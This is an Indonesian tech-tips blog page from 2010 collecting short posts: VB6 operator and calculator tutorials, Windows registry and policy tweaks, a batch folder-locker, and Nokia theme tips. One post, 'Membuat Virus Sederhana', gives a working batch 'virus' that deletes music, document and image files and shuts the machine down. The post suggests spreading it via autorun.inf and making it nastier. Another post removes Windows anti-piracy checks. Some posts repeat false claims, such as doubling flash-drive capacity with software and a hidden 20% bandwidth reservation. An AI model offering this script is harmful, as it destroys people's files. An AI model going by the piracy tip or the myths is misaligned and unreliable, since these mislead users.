Penggunaan Operator VB 6.0

Jumat, 29 Oktober 2010

OPERATOR di dalam bahasa pemrograman bisa diartikan sebagai simbol yang digunakan untuk melakukan suatu operasi terhadap nilai data. Simbol operator bisa berupa karakter ataupun kata khusus.

Visual basic 6.0 mengenal tiga jenis operator yaitu:

1.   Operator Aritmatika digunakan untuk operasi matematis
      terhadap nilai data. Simbol-simbol yang digunakan
2.   Operator Perbandingan digunakan untuk operasi yang memban
      dingkan nilai data. Simbol-simbol yang digunakan 
3.   Operator Logika digunakan untuk operasi yang membandingkan
      suatu perbandingan. Simbolsimbol yang digunakan.

Membuat Program Operator

 Pengaturan properti:
Object                               Properties                                Value

Form1                                Caption                                     Prog Operator                                   
                                          StartUpPosition

Label1-2                            Caption                                      Var1
                                                                                            Var2


Text1-2                              Text                                           Kosong


Frame1-3                           Caption                                      Aritmatika
                                                                                            Perbandingan
                                                                                            Logika


Option1-13                        Captions                                    +, -, *, /
                                                                                            >, <, =, <>, >=, <=
                                                                                            Not, Or, And


Label3                               Alignment                                   2 – Center
                                         Caption                                      Kosong

Buka jendela kode, kemudian Ketikkan kode programnya sebagai berikut:

Dim var1 As Single, var2 As Single
Dim hasil As Single

Private Sub Option1_Click()
var1 = Text1.Text
var2 = Text2.Text
hasil = var1 + var2
Label3.Caption = hasil
End Sub

Private Sub Option2_Click()
var1 = Text1.Text
var2 = Text2.Text
hasil = var1 - var2
Label3.Caption = hasil
End Sub

Private Sub Option3_Click()
var1 = Text1.Text
var2 = Text2.Text
hasil = var1 * var2
Label3.Caption = hasil
End Sub

Private Sub Option4_Click()
var1 = Text1.Text
var2 = Text2.Text
hasil = var1 / var2
Label3.Caption = hasil
End Sub

Private Sub Option5_Click()
var1 = Text1.Text
var2 = Text2.Text
hasil = var1 & var2
Label3.Caption = hasil
End Sub

Private Sub Option6_Click()
var1 = Text1.Text
var2 = Text2.Text
hasil = (var1 > var2)
‘Label3.Caption = hasil
Label3.Caption = Format(hasil, "True/False")
End Sub

Private Sub Option7_Click()
var1 = Text1.Text
var2 = Text2.Text
hasil = (var1 < var2)
Label3.Caption = Format(hasil, "True/False")
End Sub

Private Sub Option8_Click()
var1 = Text1.Text
var2 = Text2.Text
hasil = (var1 = var2)
Label3.Caption = Format(hasil, "True/False")
End Sub

Private Sub Option9_Click()
var1 = Text1.Text
var2 = Text2.Text
hasil = (var1 <> var2)
Label3.Caption = Format(hasil, "True/False")
End Sub

Private Sub Option10_Click()
var1 = Text1.Text
var2 = Text2.Text
hasil = (var1 >= var2)
Label3.Caption = Format(hasil, "True/False")
End Sub

Private Sub Option11_Click()
var1 = Text1.Text
var2 = Text2.Text
hasil = (var1 <= var2)
Label3.Caption = Format(hasil, "True/False")
End Sub

Private Sub Option12_Click()
var1 = IIf(Text1.Text = "True", -1, 0)
hasil = Not (var1)
Label3.Caption = Format(hasil, "True/False")
End Sub

Private Sub Option13_Click()
var1 = IIf(Text1.Text = "True", -1, 0)
var2 = IIf(Text2.Text = "True", -1, 0)
hasil = (var1 Or var2)
Label3.Caption = Format(hasil, "True/False")
End Sub

Private Sub Option14_Click()
var1 = IIf(Text1.Text = "True", -1, 0)
var2 = IIf(Text2.Text = "True", -1, 0)
hasil = (var1 And var2)
Label3.Caption = Format(hasil, "True/False")
End Sub


Kemudian Save Form.

Tuliskan komentar anda di kotak komentar di bawah ini

Baca selengkapnya >>

Membuat Kalkulator mengunakan VB 6.0

Kamis, 28 Oktober 2010

Sebelumnya saya minta maaf kalau postingan ini Repost.OK langsung saja kita mulai tutorial VBnya.
Meskipun microsoft telah memasang software kalkulator pada semua OSnya 'tidak ada salahnya kita membuat kalkulator sendiri menggunakan VB untuk pembelajaran semata. Berhubung temen2 di kampus diberi tugas membuat program Kalkulator sederhana, mungkin tutorial ini bisa membantu anda.

Contoh hasilnya.

Untuk properties dari masing-masing objek, saya contohkan seperti dibawah ini, dengan letak
masing-masing objek disesuaikan dengan gambar diatas.
Textbox 1:
(Name) : txtDisplay
Alignment: 1-Right Justify
Text : (kosongkan)
Maxlength : 12

Command Button 1:
(Name) : cmdAngka
Index : 1
Caption : 1

Command Button 2:
(Name) : cmdAngka
Index : 2
Caption : 2

Command Button 3:
(Name) : cmdAngka
Index : 3
Caption : 3

Command Button 4:
(Name) : cmdAngka
Index : 4
Caption : 4

Command Button 5:
(Name) : cmdAngka
Index : 5
Caption : 5

Command Button 6:
(Name) : cmdAngka
Index : 6
Caption : 6

Command Button 7:
(Name) : cmdAngka
Index : 7
Caption : 7


Command Button 8:
(Name) : cmdAngka
Index : 8
Caption : 8

Command Button 9:
(Name) : cmdAngka
Index : 9
Caption : 9

Command Button 10:
(Name) : cmdAngka
Index : 0
Caption : 0

Command Button 11:
(Name) : cmdPlusMinus
Caption : +/-

Command Button 12:
(Name) : cmdKoma
Caption : .

Command Button 13:
(Name) : cmdOperator
Index : 1
Caption : +

Command Button 14:
(Name) : cmdOperator
Index : 2
Caption : -

Command Button 15:
(Name) : cmdOperator
Index : 3
Caption : x

Command Button 16:
(Name) : cmdOperator
Index : 4
Caption : /

Command Button 17:
(Name) : cmdClearEntry
Caption : CE

Command Button 18:
(Name) : cmdClear
Caption : C

Command Button 19:
(Name) : cmdSamaDengan
Caption : =

Berikutnya, Anda tinggal membuat coding dari kalkulator tersebut. Jika Anda mengikuti semua
setting properties seperti diatas, maka codingnya saya contohkan seperti ini:

Option Explicit
Private Hasil As Double
Private Const opNol = 0
Private Const opTambah = 1
Private Const opKurang = 2
Private Const opKali = 3
Private Const opBagi = 4
Private Operator As Integer
Private NilaiBaru As Boolean

' untuk menghapus karakter terakhir
Private Sub Hapus()
Dim txt As String
Dim min_len As Integer
txt = txtDisplay.Text
If Left$(txt, 1) = "-" Then
min_len = 2
Else
min_len = 1
End If
If Len(txt) > min_len Then
txtDisplay.Text = Left$(txt, Len(txt) - 1)
Else
txtDisplay.Text = "0"
End If
End Sub

' hapus angka, hasil terakhir dan operator
Private Sub cmdClear_Click()
cmdClearEntry_Click
Hasil = 0
Operator = opNol
End Sub
' hapus angka
Private Sub cmdClearEntry_Click()
txtDisplay.Text = ""
End Sub
' menambahkan koma (desimal)
Private Sub cmdKoma_Click()
If InStr(txtDisplay.Text, ".") Then
Beep
Else
If NilaiBaru Then
txtDisplay.Text = "."
NilaiBaru = False
Else
txtDisplay.Text = txtDisplay.Text & "."
End If
End If
End Sub

' Menghitung
Private Sub cmdSamaDengan_Click()
Dim HasilBaru As Double
If txtDisplay.Text = "" Then
HasilBaru = 0
Else
HasilBaru = CDbl(txtDisplay.Text)
End If
Select Case Operator
Case opNol
Hasil = HasilBaru
Case opTambah
Hasil = Hasil + HasilBaru
Case opKurang
Hasil = Hasil - HasilBaru
Case opKali
Hasil = Hasil * HasilBaru
Case opBagi
'Tidak bisa dibagi nol
If HasilBaru = 0 Then
MsgBox "Tidak bisa dibagi 0", vbOKOnly + vbCritical, "Kalku ERROR"
Call cmdClear_Click
Else
Hasil = Hasil / HasilBaru
End If
End Select
Operator = opNol
NilaiBaru = True
txtDisplay.Text = Format$(Hasil)
End Sub

' menuliskan angka
Private Sub cmdAngka_Click(Index As Integer)
If NilaiBaru Then
txtDisplay.Text = Format$(Index)
NilaiBaru = False
Else
txtDisplay.Text = _
txtDisplay.Text & Format$(Index)
End If
End Sub
' tombol tambah/kurang/bagi/kali
Private Sub cmdOperator_Click(Index As Integer)
cmdSamaDengan_Click
Operator = Index
NilaiBaru = True
End Sub

' merubah tanda +/-
Private Sub cmdPlusMinus_Click()
If NilaiBaru Then
txtDisplay.Text = "-"
ElseIf Left$(txtDisplay.Text, 1) = "-" Then
txtDisplay.Text = Right$(txtDisplay.Text, 2)
Else
txtDisplay.Text = "-" & txtDisplay.Text
End If
End Sub

' filter untuk angka saja yg dapat diketikkan
Private Sub Form_KeyPress(KeyAscii As Integer)
txtDisplay_KeyPress KeyAscii
End Sub
Private Sub Form_KeyUp(KeyCode As Integer, Shift As Integer)
txtDisplay_KeyUp KeyCode, Shift
End Sub
' supaya kursor tetap di kanan
Private Sub txtDisplay_Change()
txtDisplay.SelStart = Len(txtDisplay.Text)
End Sub
Private Sub txtDisplay_GotFocus()
txtDisplay_Change
End Sub

' untuk mengetikkan angka di keyboard
Private Sub txtDisplay_KeyPress(KeyAscii As Integer)
Dim ch As String
ch = Chr$(KeyAscii)
Select Case ch
Case "0"
cmdAngka_Click 0
Case "1"
cmdAngka_Click 1
Case "2"
cmdAngka_Click 2
Case "3"
cmdAngka_Click 3
Case "4"
cmdAngka_Click 4
Case "5"
cmdAngka_Click 5
Case "6"
cmdAngka_Click 6
Case "7"
cmdAngka_Click 7
Case "8"
cmdAngka_Click 8
Case "9"
cmdAngka_Click 9
Case "*", "x", "X"
cmdOperator_Click opKali
Case "+"
cmdOperator_Click opTambah
Case vbCrLf, vbCr, "="
cmdSamaDengan_Click
Case "-"
cmdOperator_Click opKurang
Case "."
cmdKoma_Click
Case "/"
cmdOperator_Click opBagi
Case "C", "c"
cmdClearEntry_Click
End Select
KeyAscii = 0
End Sub

' untuk ketikan angka di numpad
Private Sub txtDisplay_KeyUp(KeyCode As Integer, Shift As Integer)
Select Case KeyCode
Case vbKeyNumpad0
cmdAngka_Click 0
Case vbKeyNumpad1
cmdAngka_Click 1
Case vbKeyNumpad2
cmdAngka_Click 2
Case vbKeyNumpad3
cmdAngka_Click 3
Case vbKeyNumpad4
cmdAngka_Click 4
Case vbKeyNumpad5
cmdAngka_Click 5
Case vbKeyNumpad6
cmdAngka_Click 6
Case vbKeyNumpad7
cmdAngka_Click 7
Case vbKeyNumpad8
cmdAngka_Click 8
Case vbKeyNumpad9
cmdAngka_Click 9
Case vbKeyMultiply
cmdOperator_Click opKali
Case vbKeyAdd
cmdOperator_Click opTambah
Case vbKeySeparator
cmdSamaDengan_Click
Case vbKeySubtract
cmdOperator_Click opKurang
Case vbKeyDivide
cmdOperator_Click opBagi
Case vbKeyDecimal
cmdKoma_Click
Case vbKeyBack, vbKeyDelete
Hapus
End Select
KeyCode = 0
End Sub 


Sumber: electronika.com

Baca selengkapnya >>

Disable tombol Windows logo di keyboard

Kamis, 21 Oktober 2010

Tips buat para pemilik warnet yang ingin menonaktifkan tombol windows logo di keyboard dengan alasan keamanan dll. Anda dapat melakukannya dengan cara berikut:

1. Copy paste text dibawah ini kedalam notepad.
      Windows Registry Editor Version 5.00

      [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout]
      "Scancode Map"=hex:00,00,00,00,00,00,00,00,02,00,00,00,00,00,5B,E0,00,00,00,00

2. Simpan dengan nama DisableWinLogo.reg,  Save as type=All files.
3. Klik 2 kali file DisableWinLogo.reg yang telah anda buat,bila
     muncul peringatan klik yes.
4.  Restar komputer.
5.  Jangan lupa tulis komentar
   

Baca selengkapnya >>

Upgrade FD 1gb Menjadi 2gb

Bagi anda yang masih menggunakan Flashdisk 1gb dan tidak punya uang mengUpgradenya.
Anda wajib membaca artikel ini.

Download dulu softwarenya diSini
1. Masukkan FD anda di port usb.
2. Setelah download jalankan software tersebut.
3. Sorot FD anda kemudian Fix.
4. Cabut FD dan pasang kembali.
5. Besok berkunjung lagi di blog ini

Baca selengkapnya >>

Mengatasi serangan Netcut

Jaringan anda lemot,ngadat n lambat karna di hacking oleh seseorang dengan menggunakan Netcut,
Rayenzone punya punya solusinya!! dan tanpa menggunakan software anti netcut....Bikin repot aja lw pk software. Ketik aja perintah-perintah cmd di bawah ini.

1. Masuk menu Run ==>ketik cmd
2. abis itu ketik "ipconfig /flushdns" ==> untuk refresh jaringan
     tunggu sebentar..
3. trus ketik "ipconfig /release" tunggu bentar..
4. ketik "ipconfig /renew" ==> yg ini buat mengganti IP kita bro abis
     itu lancar deh jaringan kita.

        Buat orang yang merasa dirinya adalah Hacker!!! jangan sesekali menggunakan bantuan software pihak ke tiga untuk melakukan aktifitas Hacking, karna Hacker sejaji tidak pernah menggunakan bantuan software pihak ke tiga

Baca selengkapnya >>

Mengoptimalkan Bandwith windows xp

Rabu, 20 Oktober 2010

Sedikit sentuhan klasik dengan tenknik lebay untuk mempercepat koneksi internet windows xp dengan meningkatkan bandwith.
Secara default windows xp hanya menggunakan 80% bandwithnya, untuk meningkatkannya menjadi 100%
dapat dilakukan dengan cara:

1. Start ==> Run
2. Ketik : gpedit.msc
3. Computer configuration ==> Administrative templates ==> Network
4. QoS Packet Scheduler ==> Limit Reservable Bandwidth
5. Enabled ==> Bandwith Limit : 0 (angka nol)
6. Selesai
7. Restart Komputer
8. Jangan lupa berkunjung lagi di blog ini

Baca selengkapnya >>

Membuat folder anti DELETE

Membuat folder anti delete untuk memproteksi file-file penting
yang ada didalamnya dapat dilakukan tanpa menggunakan softwar.

Perhatikan tips dan trik rayenzone berikut ini

1.Buka folder options
2.Pilih menu view kemudian pada Advanced setting hilangkan
    checklist pada "Use simple file sharing(recommended)",Berada
    paling bawah
3.Apply dan ok
4.Klik kanan pada folder yang ingin diproteksi pilih properti
5.Pada menu security pilih Advanced
6.Klik 2 kali SYSTEM pada Permission entries
7.Beri tanda check pada "Delete subfolder and files" dan "delete".
8.OK - Apply, bila muncul peringantan klik yes - ok
9.Lakukan tahap 1 sampai 8 untuk Administrator permission
    entries
10.Restar komputer

Baca selengkapnya >>

Memberi Icon pada drive hard disk

Cara memberi icon gambar pada drive windows.
1.Buka notepat anda kemudian ketikkan script  di bawah ini
      [autorun]
      open="kosongkan"
      icon=dp.ico
      label=system

    ket:- tulisan berwarna biru dapat di ubah
          -pada script open dapat dikosongkan


2.Save srcipt diatas dengan save as type=All files,File
    name=autorun.inf
3.Siapkan gambar icon yang akan di jadikan icon drive
   "nama gambar tersebut harus sama seperti script
    diatas (dp.ico)"
4.Letakkan file autorun.inf dan dp.ico di directory pertama
    drive anda
5.Restar komputer, hasilnya seperti gambar di bawah.

6.Besok datang lagi di blog ini.
      Download dp.ico diSini

Baca selengkapnya >>

Menyembunyikan folder menggunakan NOTEPAD

Minggu, 17 Oktober 2010

Trik menyembunyikan folder hanya dengan menggunakan notepat.
Apakah anda mempunyai file-file yang sangat rahasia dan tidak ingin orang lain mengetahuinya???
Kalau begitu anda di wajibkan membaca artikel ini, Cekidot

1.Buka notepad kemudian copy text dibawah ini kedalam notepad
 
cls
@ECHO OFF
title Folder Locker
іf EXIST “Hegemony Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” goto UNLOCK
іf NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Anda Yakin Ingin Mengunci Folder?(Y/N)
set/p “cho=>”
іf %cho%==Y goto LOCK
іf %cho%==y goto LOCK
іf %cho%==n goto END
іf %cho%==N goto END
echo Opsi Salah.
goto CONFIRM
:LOCK
ren Locker “Hegemony Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
attrib +h +s “Hegemony Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
echo Folder terkunci
goto Enԁ
:UNLOCK
echo Masukkan Password υntυk membuka Folder
set/p “pass=>”
іf NOT %pass%==KETIK PASSWORD DISINI goto FAIL
attrib -h -s “Hegemony Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
ren “Hegemony Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” Locker
echo Folder Sudah Terbuka
goto Enԁ
:FAIL
echo Password Salah
goto еnԁ
:MDLOCKER
md Locker
echo Locker Berhasil Dibuat
goto Enԁ
:Enԁ

- Ket: Tulisan berwarna biru dapat anda rubah dengan password anda

2.Save as file tersebut dengan save as type: All files, File name:
   FolderLock.bat (harus menggunakan extensi bat)
3.Klik 2 kali FolderLock yang telah anda buat, maka akan muncul
   sebuah folder bernama Locker.
4.Masukkan file-file yang ingin di sembunyikan kedalam folder tersebut.
5.Klik 2 kali Folderlock maka akan muncul jendela console seperti
   gambar di bawah ini.

 

6.Ketik "Y" tanpa tanda kutip kemudian tekan Enter untuk menye

   mbunyikan  folder tersebut. 

   Untuk memunculkan folder locker anda tinggal mengklik file 

   FolderLock.bat Kemudian masukkan password anda.

7.Selesai.

8.Besok mampir lagi ya di blog ini

   - bagi anda yang tidak ingin repot-repot membuatnya anda bisa 

      mendownloadnya file FolderLock di SINI

       Artikel ini hanya untuk pembelajaran dan membuka wawasan anda di 

       dunia IT, Jangan di salah gunakan.

 

Baca selengkapnya >>

Mengatasi Wga Windows bajakan

Sabtu, 16 Oktober 2010

Menhilangkan Wga windows bajakan tanpa menggunakan software.
Ciri-ciri Windows bajakan adalah munculnya tampilan wga di bagian kanan bawah desktop seperti gambar di bawah ini

Cara menghilangkannya cukup mudah yaitu dengan meRename file Wgalogon.dll dan Wgatray.exe yang bearda di C:\Windows\system32.

Setalah merename kedua file tadi anda tinggal me restar komputer anda dan lihat hasilnya.

    Terima kasih telah berkunjug di blog ini, besok mampir lagi ya karna akan ada trik n tips baru.

Baca selengkapnya >>

Tahukah anda! Bahwa menghapus foto di Facebook belum 100% hilang.

Jumat, 15 Oktober 2010

Seringkali pengguna Facebook mengira bahwa foto-foto yang diunggah ke halamannya sudah aman. Padahal tak sepenuhnya foto-foto tersebut ‘aman’ dari pantauan orang lain, meski Facebook berupaya keras untuk membenahi pengaturan privasi.
Belum lagi, bila pengguna mencoba untuk menghapus Foto tersebut. Kadang mereka hanya men-delete saja dan kemudian merasa foto hilang dari pandangan. Ternyata, foto-foto tersebut tak 100 persen hilang, dan ada beberapa kasus yang menunjukkan bahwa foto yang telah dihapus tersebut ternyata masih bisa diakses.

Ars Technica, Selasa (12/10/2010), melansir masalah ini pernah coba ditanyakan kepada Facebook ketika foto-foto tersebut ‘nyangkut’ di server Facebook. Ars Technica mengaku masih bisa mengakses sebuah foto yang telah dihapus pada 21 Mei 2009. Hampir sekira 16 bulan foto tersebut masih bisa diakses.
Facebook menyatakan foto-foto yang telah dihapus oleh pengguna sebenarnya tak bisa diakses lagi. Bahkan situs jejaring sosial yang dikembangkan sejak 2004 itu menjamin 100 persen tak ada seorang pun yang bisa mengakses foto-foto itu.
“Sekalipun Facebook dipaksa untuk membuka foto tersebut,” jawab Facebook pada situs Ars Technica.
Namun demikian, tak tertutup kemungkinan foto-foto tersebut bisa diakses kembali oleh orang lain. Pasalnya Facebook tak sendirian mengelola data-data pengguna. Situs milik Mark Zuckerberg tersebut juga menjalin kerjasama dengan perusahaan Content Delivery Network (CDN). Kemungkinan foto-foto tersebut ‘bocor’ lewat jalur partner CDN Facebook.
Juru bicara Facebook, Simon Axten mengungkapkan, untuk tujuan praktis, foto tidak ada lagi, dan kita tidak akan bisa menemukannya.
“Hal ini mirip dengan apa yang terjadi bila Anda menghapus informasi dari hard drive komputer Anda,” kata Axten.
“Ada kemungkinan bahwa seseorang yang sebelumnya memiliki akses ke foto dan menyimpan URL langsung dari pengelola konten jaringan mitra kami masih bisa mengakses foto,” kata Axten.
“Namun, sekali lagi, orang harus tahu URL, dan foto hanya ada di cache CDN dalam waktu terbatas,” kata Axten.
tehno.okezone.com

Sumber: http://www.hong.web.id/news/ternyata-menghapus-foto-di-facebook-belum-tentu-100-hilang#ixzz12KqheKtV

Baca selengkapnya >>

Membuat Virus Sederhana

Kamis, 14 Oktober 2010

1. Buatlah sebuah Folder dengan nama “Virus Oseng2 Upil”
2. Copykan beberapa File berupa (Doc/Word, MP3/Lagu, JPG/Gambar)
3. Buka Notepad
4. Ketikkan Teks Berikut ini…

@echo off

title VIRUS NAMA_Oseng2 Upil

color 02

echo KOMPUTER ANDA TELAH TERINFEKSI VIRUS

pause

echo SCAN VIRUS...

pause

echo PERMINTAAN DITOLAK

echo PERMINTAAN DITOLAK

echo PERMINTAAN DITOLAK

pause

echo AKTIFKAN VIRUS...

echo VIRUS AKTIF!!!!

pause

erase *.mp3

erase *.doc

erase *.jpg

shutdown -s

:1

dir/s

goto 1

    5. Simpan dengan nama Oseng.bat

6. Coba jalankan… dengan mengklik virus tersebut, atau dengan menggunakan Autorun.inf
7. Kesimpulan ada pada Anda…
8. Untuk para programmer, script tersebut bisa Anda kurangi dan tambahkan agar Virus bisa lebih ganas…
9. Semoga Bermanfaat…

 Sumber PIKMI Hacker Community

 

Baca selengkapnya >>

Cara Menonaktifkan fungsi search pada windows

Seperti kita ketahui windows memiliki fasilitas search yang berfungsi mempermudah user melakukan pencarian berbagai macam file di harddisk, tetepi terkadang orang lain menggunakan fasilitas search untuk mencari file pribadi di komputer kita.
Bagaimana mencegahnya? yaitu dengan cara menonaktifkan fungsi search di windows.
Berikut cara menonaktifkan fasilitas search:


1. Tekan tombol windows+R (run) di keyboard.
2. Ketikkan "gpedit.msc".
3. Pilih user configuration - Administrative templates - Star menu and
    taskbar.
4. Akan muncul banyak opsi, cari "Remove search menu from star
    menu"

5. Double klik Pilih Enabled

6. Apply dan OK, keluar dari gpedit dan coba anda tekan Ctrl+f atau F3
    Maka windows search tidak akan   muncul

Baca selengkapnya >>

Aplikasi hp java GRATIS

Rabu, 13 Oktober 2010

Kabar gembira buat para sobat blogger & nag IT  STMIK dP Makassar yang mengunakan hp berbasis JAVA.

Ada sebuah aplikasi pemutar musik untuk hp JAVA yang wajib anda coba yaitu dPplayer (Dipanegara Player).
Tampilannya mirip pemutar musik paling populer saat ini yaitu winamp, lihat gambar di bawah

 

 Kelebihan dpPlayer:
1. Mampu membaca ID3 tag MP3 dengan baik seperti
    judul lagu,artis,album,bit,rate,dan gambar album art
2. Memiliki banyak skin yang dapat di ubah - ubah
3. Bisa membuat playlist
4. Ada visualisasi

Kekurangan dpPlayer:
1.Minta ijin untuk baca data dari memori card bila ingin mengganti lagu
   (untuk Nokia),
  


Solusinya;
1.   Sorot aplikasi  dpPlayer kemudian tekan tombol pilihan - pilih akses
      aplikasi.
2.   Tambah dan edit data - Pilih "Tidak di izinkan".
3.   Buka aplikasi - Tekan menu - Menu - referensi - Pengaturan
      pemutar.
4.   Pada menu "Saat ini" hilangkan semua checklist kecuali "Tampilkan
      scrolling text".
5.   Hilangkan semua checklist pada menu "Album seni".
6.   Tekan pilihan - Save.

Klik link dibawah ini untuk menDownloadnya
Download dpPlayer

Kumpulan skin dpPlayer.zip
              

Baca selengkapnya >>

Membuat tema hp nokia menggunakan Winrar

Senin, 11 Oktober 2010

Akhirnya.Update postingan juga,sudah 2 bulan blog ini tidak di update sampai lupa password login ke blogger.
Disini akan kami share bagaimana cara membuat tema hp nokia menggunakan winrar atau software archive lainnya.

Persiapan:
1. Winrar atau software archive sejenisnya
2. Laptop/Pc berbasis windows
3.Photoshop
5.Secangkir kopi hangat (agar tidak ngantuk)
Perhatikan baik-baik step by step dibawah ini.

1. Transferkan tema hp nokia anda yang bertype nth, contoh my tema.nth ke komputer anda.
2. Extrack tema tersebut menggunakan winrar dengan cara klik kanan tema tersebut kemudian pilih extrack  file, atau dengan membuka file tema menggunakan winrar kemudian pilih extrack.
3. Setelah terextrack buka folder hasil extracksi, disitu akan terdapat banyak file gambar.
4. Gantikan gambar-gambar tersebut dengan gambar yang anda inginlkan,dengan asumsi gambar yang diganti harus bertype dan ukuran dimensi yang sama.Anda dapat menggunakan Photoshop untuk mengubah dimensi dan type gambar
5. Tandai semua file-file dalam folder hasil extracksi tadi,klik kanan kemudian pilih add to archive
6. Setting file archive anda seperti gambar di bawah ini, klik OK dan transferkan tema kreasi anda ke hp untuk melihat hasilnya.

Baca selengkapnya >>